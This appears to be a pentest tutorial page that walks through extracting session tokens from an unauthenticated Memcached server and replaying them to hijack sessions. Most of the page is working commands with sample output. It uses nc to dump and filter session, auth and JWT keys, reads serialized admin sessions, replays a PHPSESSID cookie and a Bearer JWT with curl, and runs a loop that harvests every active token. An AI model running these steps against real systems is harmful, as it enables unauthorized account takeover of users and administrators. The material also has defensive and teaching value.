Skip to content
HackIndex logo

HackIndex

Memcached Session Token Extraction

3 min read Mar 17, 2026

Web applications that use Memcached as a session store write the full session object to the cache on login and read it back on each request. If the cache is reachable without authentication, those session objects are readable by any client. A valid session token retrieved from cache can be replayed directly into the application to hijack an active session without knowing the user's password.

This page focuses specifically on finding and extracting session tokens. It assumes unauthenticated read access is confirmed and you have a list of keys from the cache.

Identify Session Keys

Session keys follow framework-specific naming conventions. Common patterns across PHP, Python, Ruby, and Node.js applications:

┌──(kali㉿kali)-[~]
└─$ echo -e "lru_crawler metadump all\r" | nc -q2 $TARGET_IP 11211 | grep -iE 'sess|session|sid|auth|token|jwt' 
key=sess:f3a9c1d8e2b047 exp=1711605200 la=1711601600 cas=91022 fetch=yes cls=3 size=612
key=session:8d2f4a1b3c exp=-1 la=1711601500 cas=88311 fetch=yes cls=3 size=480
key=auth:token:admin exp=1711605800 la=1711602100 cas=92144 fetch=yes cls=2 size=64

Keys with fetch=yes are actively being read by the application, which means these sessions are live. Prioritise those over keys that have not been accessed recently.

Read Session Object Values

Retrieve the session objects for the highest-priority keys:

┌──(kali㉿kali)-[~]
└─$ echo -e "get sess:f3a9c1d8e2b047\r" | nc -q2 $TARGET_IP 11211 
VALUE sess:f3a9c1d8e2b047 0 612
a:6:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:4:"role";s:5:"admin";s:5:"email";s:20:"[email protected]";s:5:"token";s:40:"9f3a21c4d8e3b07562a1c9f4d8e3b07562a1c9f4";s:9:"logged_in";b:1;}
END

This is a PHP serialized session for an admin user. The token value is what the application uses to validate the session cookie.

To replay a session token you need to know the cookie name the application expects. If you have any access to the application in a browser, check the cookies set on the login page. Common names are PHPSESSID, session, sid, auth_token, and remember_token.

If you have no browser access, check the key naming convention in the cache. A key named sess:TOKEN suggests the application constructs the cache key as sess: + the cookie value, meaning the cookie value is f3a9c1d8e2b047 directly.

Replay the Session Token

Set the extracted token as a cookie in your browser or in a curl request:

┌──(kali㉿kali)-[~]
└─$ curl -s -b "PHPSESSID=f3a9c1d8e2b047" http://$TARGET_IP/ -I 
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=f3a9c1d8e2b047; path=/
X-User: admin

A 200 response with user-specific headers or a redirect to an authenticated page confirms the session hijack succeeded. If the application returns a redirect to the login page, the session may have expired or the token format differs from what the cookie expects.

Handle JWT and Bearer Tokens

Some applications cache JWT tokens or API bearer tokens rather than session identifiers. A value starting with eyJ is a base64-encoded JWT:

┌──(kali㉿kali)-[~]
└─$ echo -e "get auth:token:admin\r" | nc -q2 $TARGET_IP 11211 
VALUE auth:token:admin 0 64
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.SIGNATURE
END

Replay a JWT as an Authorization header:

┌──(kali㉿kali)-[~]
└─$ curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.SIGNATURE" http://$TARGET_IP/api/admin

Collect All Active Session Tokens

To sweep all session keys and extract tokens in one pass:

┌──(kali㉿kali)-[~]
└─$ echo -e "lru_crawler metadump all\r" | nc -q2 $TARGET_IP 11211 | grep -iE 'sess|session' | awk -F'key=' '{print $2}' | awk '{print $1}' > /tmp/session-keys.txt
┌──(kali㉿kali)-[~]
└─$ while read key; do echo -e "get $key\r" | nc -q2 $TARGET_IP 11211; done < /tmp/session-keys.txt > /tmp/session-values.txt

Review /tmp/session-values.txt for admin or privileged role identifiers before choosing which token to replay.

References